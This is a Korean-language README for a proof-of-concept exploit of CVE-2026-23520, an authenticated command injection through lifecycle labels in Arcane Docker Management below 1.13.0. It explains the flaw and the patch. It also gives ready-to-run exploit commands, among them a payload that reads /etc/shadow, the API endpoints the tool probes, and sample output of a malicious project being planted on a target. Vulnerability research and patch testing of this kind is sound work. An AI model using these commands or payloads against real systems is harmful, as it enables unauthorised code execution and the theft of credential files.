
# CVE-2026-23520 개념 증명 익스플로잇 Arcane Docker 관리에서 수명 주기 라벨의 OS 명령 주입을 통한 인증된 RCE 취약점에 대한 개념 증명 익스플로잇입니다. check, exploit, generate 모드를 포함합니다.
Arcane Docker Management의 OS 명령 주입 (< 1.13.0)
Arcane은 현대적인 웹 기반 Docker 관리 플랫폼입니다. 1.13.0 이전 버전은 업데이터 서비스의 라이프사이클 레이블에서 OS 명령 주입을 통한 인증된 원격 코드 실행(RCE) 취약점에 노출되어 있습니다.
업데이터 서비스는 두 가지 Docker 컨테이너 레이블을 지원했습니다:
| 레이블 | 트리거 |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | 컨테이너 업데이트 전 |
com.getarcaneapp.arcane.lifecycle.post-update | 컨테이너 업데이트 후 |
레이블 값은 어떠한 검증도 없이 직접 /bin/sh -c로 전달됩니다. 모든 인증된 사용자(관리자뿐만 아니라)가 API를 통해 프로젝트를 생성할 수 있기 때문에, 공격자는 악성 프로젝트를 심을 수 있습니다. 이후 관리자가 컨테이너 업데이트를 트리거하면 주입된 명령이 컨테이너 내부에서 실행됩니다 — 볼륨 마운트가 존재하는 경우 호스트에서도 실행될 수 있습니다.
공격자 (저권한 사용자) Arcane 서버
──────────────────────── ──────────────
1. 인증 (모든 사용자) ──────────► JWT 발급
2. 악성 라이프사이클 레이블이 악성 레이블이 포함된
포함된 프로젝트 생성 ──────────► 프로젝트 저장
│
┌───────────────────────────────────┘
│ 3. 관리자가 컨테이너 업데이트 트리거
▼
Arcane 업데이터가 레이블 값 읽기
/bin/sh -c로 전달
│
▼
*** 임의 명령 실행 ***
(컨테이너 범위, 또는 볼륨이 마운트된 경우 호스트)
| 상태 | 버전 |
|---|---|
| 취약 | Arcane < 1.13.0 |
| 패치됨 | Arcane ≥ 1.13.0 |
수정 사항(커밋 5a9c2f9)은 공격 표면을 제거하기 위해 라이프사이클 레이블 기능을 완전히 제거합니다.
urllib만 사용, Python 3.10+에서 실행 가능check(핑거프린팅), exploit(배포), generate(오프라인 compose 파일)-v) — 프로빙 중인 엔드포인트와 반환 결과를 정확히 표시python3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Arcane API를 통해 악성 프로젝트 배포
check Arcane 핑거프린팅 및 취약 여부 확인
generate 악성 compose 파일 생성 (네트워크 불필요)
options:
-h, --help 도움말 메시지 표시 후 종료
-v, --verbose 프로빙 디버그 출력 표시
익스플로잇 플래그:
| 플래그 | 설명 | 기본값 |
|---|---|---|
-t, --target | Arcane 호스트 (IP 또는 호스트명) | 필수 |
-P, --port | Arcane 포트 | 3552 |
-u, --username | 인증된 Arcane 사용자 | 필수 |
-p, --password | 사용자 비밀번호 | 필수 |
--payload | 주입할 셸 명령 | id |
--hook | pre 또는 post 업데이트 훅 | pre |
--project-name | 악성 프로젝트 이름 | poc-cve-2026-23520 |
--env-id | 환경 ID (생략 시 자동 감지) | 자동 |
--scheme | http 또는 https | http |
--no-verify | TLS 인증서 검증 건너뛰기 | 꺼짐 |
이 스크립트는 단일 API 경로를 하드코딩하지 않습니다. 대신 각 작업에 대해 여러 알려진 경로를 자동으로 프로빙하고 첫 번째 성공 지점에서 중지합니다:
| 작업 | 시도하는 엔드포인트 |
|---|---|
| 버전 | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| 인증 | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| 환경 | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| 프로젝트 생성 | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects 등 |
응답 키도 유연하게 매칭됩니다 (예: currentVersion, version, Version, serverVersion — 중첩 객체 및 대소문자 구분 없는 조회 포함).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── 1단계 · 대상 핑거프린팅 ──
[*] 대상: http://10.129.7.208:3552
[*] 버전 엔드포인트 프로빙 중 …
[+] /api/version을 통해 버전 확인
[+] Arcane 버전: v1.12.4
[+] 버전 v1.12.4는 1.13.0 미만 — 취약
── 2단계 · 인증 ──
[*] 공격자로 인증 중 …
[+] /api/auth/login을 통해 JWT 획득
── 3단계 · 환경 탐색 ──
[*] 환경 엔드포인트 프로빙 중 …
[+] /api/environments를 통해 1개의 환경 발견
[*] → 1 (local)
[+] 환경 사용: 1
── 4단계 · 악성 프로젝트 심기 ──
[*] 라이프사이클 레이블에 페이로드 주입 중: pre-update
[*] 레이블 : com.getarcaneapp.arcane.lifecycle.pre-update
[*] 값 : id
[+] /api/environments/1/projects를 통해 프로젝트 생성
── 익스플로잇 성공적으로 심음 ──
[+] 악성 프로젝트는 이제 업데이트 트리거를 기다리고 있습니다.
5a9c2f9이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 사용하십시오.
MIT